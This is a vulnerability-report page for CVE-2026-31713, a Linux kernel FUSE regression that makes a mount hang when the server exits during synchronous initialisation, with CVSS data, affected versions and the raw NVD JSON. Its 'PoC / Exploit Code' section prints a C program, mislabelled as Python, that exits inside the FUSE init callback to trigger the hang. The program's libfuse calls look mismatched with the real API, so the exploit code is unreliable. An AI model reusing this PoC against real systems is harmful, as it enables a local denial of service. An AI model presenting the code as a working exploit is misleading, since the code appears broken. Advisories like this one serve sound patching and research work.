Security Vulnerability Report
中文
CVE-2026-31713 CVSS 5.5 MEDIUM

CVE-2026-31713

Published: 2026-05-01 14:16:21
Last Modified: 2026-05-06 21:13:45
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: fuse: abort on fatal signal during sync init When sync init is used and the server exits for some reason (error, crash) while processing FUSE_INIT, the filesystem creation will hang. The reason is that while all other threads will exit, the mounting thread (or process) will keep the device fd open, which will prevent an abort from happening. This is a regression from the async mount case, where the mount was done first, and the FUSE_INIT processing afterwards, in which case there's no such recursive syscall keeping the fd open.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel (参考Git提交0c7fca880a40a209a9c92be14143996d14b93ff6修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <fuse_lowlevel.h> #include <stdlib.h> #include <stdio.h> // Callback for FUSE_INIT static void fl_init(void *userdata, struct fuse_conn_info *conn, struct fuse_bufvec *bufv) { printf("Server received INIT, simulating crash...\n"); // Exit immediately during init to trigger the hang on kernel side exit(1); } int main(int argc, char *argv[]) { struct fuse_args args = FUSE_ARGS_INIT(argc, argv); struct fuse_session *se; struct fuse_cmdline_opts opts; if (fuse_parse_cmdline(&args, &opts) != 0) return 1; se = fuse_lowlevel_new(&args, &(struct fuse_lowlevel_ops){ .init = fl_init }, sizeof(struct fuse_lowlevel_ops), NULL); if (!se) { fuse_unmount(opts.mountpoint, NULL); return 1; } // Mount the filesystem (Sync mode) if (fuse_mount(se, opts.mountpoint) != 0) { return 1; } // Enter the loop, but will exit immediately in init callback fuse_session_loop(se); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31713", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:21.390", "lastModified": "2026-05-06T21:13:45.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfuse: abort on fatal signal during sync init\n\nWhen sync init is used and the server exits for some reason (error, crash)\nwhile processing FUSE_INIT, the filesystem creation will hang. The reason\nis that while all other threads will exit, the mounting thread (or process)\nwill keep the device fd open, which will prevent an abort from happening.\n\nThis is a regression from the async mount case, where the mount was done\nfirst, and the FUSE_INIT processing afterwards, in which case there's no\nsuch recursive syscall keeping the fd open."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.25", "matchCriteriaId": "5C53A705-D2E9-401E-9B1B-DBC8C4FE5181"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0c7fca880a40a209a9c92be14143996d14b93ff6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/204aa22a686bfee48daca7db620c1e017615f2ff", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/300e812b882a174dca675d8028684001ad5826bc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}